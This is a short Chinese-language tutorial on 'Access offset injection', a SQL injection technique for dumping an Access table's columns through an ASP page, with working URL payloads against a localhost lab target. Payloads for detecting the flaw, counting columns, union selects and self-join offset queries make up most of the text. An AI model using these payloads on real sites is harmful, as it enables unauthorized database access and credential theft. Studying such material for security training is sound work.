Access偏移注入：表名知道，列名无法获取的情况下。
1、判断注入点
127.0.0.1/asp/index.asp?id=1513 and 1=1 正常
127.0.0.1/asp/index.asp?id=1513 and 1=2 错误
2、查询字段个数
127.0.0.1/asp/index.asp?id=1513 order by 22 正常
127.0.0.1/asp/index.asp?id=1513 order by 23 错误
3、爆出显位
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
4、判断表内存在的字段个数
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误直到......
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确说明了admin表下有6个字段；
用"*"代表 admin 表的字段数，计算*代替字符的位数。
Access偏移注入原理，基本公式为：
order by 出的字段数减去*号的字段数，然而再用order by的字段数减去2倍刚才得出来的答案；
也就是：
* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符
5、爆列名数据
一级偏移语句：
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
如果你发现，上面查看了网页源码也爆不出数据，请用以下方法：
二级偏移语句：
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
注意：这里是10个字段再减去了表里的6个字段，所以二级偏移这里是select 1,2,3,4
